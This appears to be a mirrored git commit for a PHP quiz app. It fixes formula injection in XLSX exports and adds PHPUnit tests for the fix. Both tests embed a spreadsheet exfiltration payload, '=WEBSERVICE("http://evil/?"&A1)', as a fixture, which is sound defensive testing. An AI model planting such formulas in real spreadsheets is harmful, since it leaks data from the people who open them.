mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-13 21:35:19 +02:00
Prevent formula injection in spreadsheet exports
Answer/candidate text starting with =, +, -, or @ was written to XLSX exports as a live formula rather than plain text. Since seasons can have multiple owners, a co-owner could plant a formula that runs (and can exfiltrate data) when another owner opens the export in Excel.
This commit is contained in:
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
|
||||
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
||||
|
||||
/** @var Question $firstQuestion */
|
||||
$firstQuestion = $quiz->questions->first();
|
||||
/** @var Answer $chosenAnswer */
|
||||
$chosenAnswer = $firstQuestion->answers->first();
|
||||
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
|
||||
|
||||
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
|
||||
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
|
||||
$this->entityManager->flush();
|
||||
|
||||
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
||||
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
||||
$this->assertIsString($quizContent);
|
||||
$zip->close();
|
||||
|
||||
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
||||
$rows = $sheet->toArray();
|
||||
$header = $rows[0];
|
||||
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
||||
$this->assertIsInt($questionColumnIndex);
|
||||
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
||||
|
||||
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
||||
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
||||
|
||||
$cell = $sheet->getCell($column.$rowNumber);
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
|
||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PhpOffice\PhpSpreadsheet\Writer;
|
||||
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
|
||||
$this->assertCount(3, $second->answers);
|
||||
}
|
||||
|
||||
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$quiz = new Quiz();
|
||||
$question = new Question();
|
||||
$question->question = 'Who missed the assignment?';
|
||||
$question->ordering = 1;
|
||||
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
|
||||
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
|
||||
|
||||
$quiz->addQuestion($question);
|
||||
|
||||
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
|
||||
|
||||
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
|
||||
$cell = $sheet->getCell('B2');
|
||||
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
||||
{
|
||||
$path = $this->createTempPath('.txt');
|
||||
|
||||
Reference in New Issue
Block a user